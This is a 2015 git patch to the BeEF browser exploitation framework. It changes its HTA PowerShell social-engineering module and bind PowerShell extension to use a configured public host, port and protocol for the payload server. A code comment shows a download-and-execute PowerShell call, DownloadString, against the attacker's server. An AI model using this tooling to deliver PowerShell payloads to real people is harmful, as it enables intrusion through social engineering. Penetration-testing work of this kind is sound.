From 7f29e676b38694fa3b2bf105dfda4ad8cbae58db Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Fri, 10 Jul 2015 22:36:14 +0000 Subject: [PATCH] Use public URL --- .../social_engineering/powershell/bind_powershell.rb | 4 ++-- modules/social_engineering/hta_powershell/module.rb | 12 ++++++++---- 2 files changed, 10 insertions(+), 6 deletions(-) diff --git a/extensions/social_engineering/powershell/bind_powershell.rb b/extensions/social_engineering/powershell/bind_powershell.rb index ab10d1ba2..3beb031e2 100644 --- a/extensions/social_engineering/powershell/bind_powershell.rb +++ b/extensions/social_engineering/powershell/bind_powershell.rb @@ -16,7 +16,7 @@ module BeEF # Change the default payload URL (DownloadString('http://172.16.37.1/ps/ps.png'))) with your BeEF server and powershell URL settings. # By default powershell will be served from http://beef_server:beef_port/ps/ps.png # - # NOTE: make sure you change the 'host' variable in the main BeEF config.yaml from 0.0.0.0 to the specific IP where BeEF is binded to, + # NOTE: make sure you change the 'beef.http.public' variable in the main BeEF config.yaml to the specific IP where BeEF is binded to, # and also the powershell-related variable in extensions/social_engineering/config.yaml class Bind_powershell < BeEF::Core::Router::Router before do @@ -59,4 +59,4 @@ module BeEF end end end -end \ No newline at end of file +end diff --git a/modules/social_engineering/hta_powershell/module.rb b/modules/social_engineering/hta_powershell/module.rb index 6e3a83ca9..cf7239193 100755 --- a/modules/social_engineering/hta_powershell/module.rb +++ b/modules/social_engineering/hta_powershell/module.rb @@ -7,12 +7,16 @@ class Hta_powershell < BeEF::Core::Command def self.options - host = BeEF::Core::Configuration.instance.get('beef.http.host') - port = BeEF::Core::Configuration.instance.get('beef.http.port') - ps_url = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.powershell_handler_url') + @configuration = BeEF::Core::Configuration.instance + proto = @configuration.get("beef.http.https.enable") == true ? "https" : "http" + beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host") + beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port") + base_host = "#{proto}://#{beef_host}:#{beef_port}" + + ps_url = @configuration.get('beef.extension.social_engineering.powershell.powershell_handler_url') return [ - {'name' => 'domain', 'ui_label' => 'Serving Domain (BeEF server)', 'value' => "http://#{host}:#{port}"}, + {'name' => 'domain', 'ui_label' => 'Serving Domain (BeEF server)', 'value' => "#{base_host}" }, {'name' => 'ps_url', 'ui_label' => 'Powershell/HTA handler', 'value' => "#{ps_url}"} ] end